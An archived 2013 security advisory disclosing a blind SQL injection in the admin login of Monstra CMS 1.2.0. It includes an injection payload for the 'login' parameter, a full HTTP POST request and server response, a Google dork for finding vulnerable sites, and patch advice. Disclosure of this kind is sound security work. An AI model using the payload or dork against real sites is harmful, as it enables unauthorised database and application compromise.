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Monstra CMS 1.2.0 Blind SQL Injection

Monstra CMS 1.2.0 Blind SQL Injection
Posted Sep 20, 2013
Authored by linc0ln.dll, Vulnerability Laboratory | Site vulnerability-lab.com

Monstra CMS version 1.2.0 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 8f646b41ef7d6398179c427aec485dce9f11cf86266f17f63bfb8ccaea4a854c

Monstra CMS 1.2.0 Blind SQL Injection

Change Mirror Download
Monstra CMS v1.2.0 - Blind SQL Injection Vulnerability




Common Vulnerability Scoring System:

Monstra is a simple and light-weighted Content Management System written in PHP! A Content Management System (CMS) is a software that
allows publishing, editing and modifying content on your Web site. Content Management System provide procedures to manage workflow in
a collaborative environment.

- Small business Web sites
- Personal or family homepages
- School and church Web sites

(Copy of the Vendor Homepage: http://monstra.org/about )

An independent vulnerability laboratory researcher (linc0ln.dll) discovered a blind sql injection web vulnerability in the Monstra v1.2.0 CMS.

2013-09-20: Public Disclosure (linc0ln.dll)


Affected Products:
Sergey Romanenko
Product: Monstra Content Management System 1.2.0



A blind SQL Injection web vulnerability is detected in the official Monstra v1.2.0 Content Management System.
The vulnerability allows remote attackers to inject own sql commands to compromise the vulnerable application dbms.

The blind sql injection web vulnerability is located in the login submit (POST) module. Attackers are able to inject
own sql commands by manipulation of the the `login id` parameter.

Exploitation of the blind sql vulnerability does not require user interaction or a privileged application user account.
Successful exploitation of the sql injection vulnerability results in database management system & application compromise.

Vulnerable Module(s):
[+] Admin Auth (./admin)

Vulnerable Parameter(s):
[+] login

Proof of Concept:
The blind sql injection web vulnerability can be exploited by remote attackers without privileged application user account
and user interaction. For demonstration or reproduce ...

Example: POST
login=[SQL INJECTION]&login_submit=Enter&password=[x]

login=-1' or 85 = '83&login_submit=Enter&password=lincoln.dll

POST Request:
POST /admin/ HTTP/1.1
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=f6bd4782f77e4027d3975d32c414a36d
Host: XXX
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
login=-1' or 85 = '83&login_submit=Enter&password=lincoln.dll

Server Response:
HTTP/1.1 200 OK
Date: Thu, 19 Sep 2013 14:27:25 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4456

Goole Dork(s): "Powered by Monstra 1.2.0"

The vulnerability can be patched by a secure escaping the login input via POST request method.
Also use a prepared statement to clean up the vulnerable code section.

The security risk of the remote blind sql injection web vulnerability is estimated as critical.

Independent Vulnerability Researcher - linc0ln.dll

The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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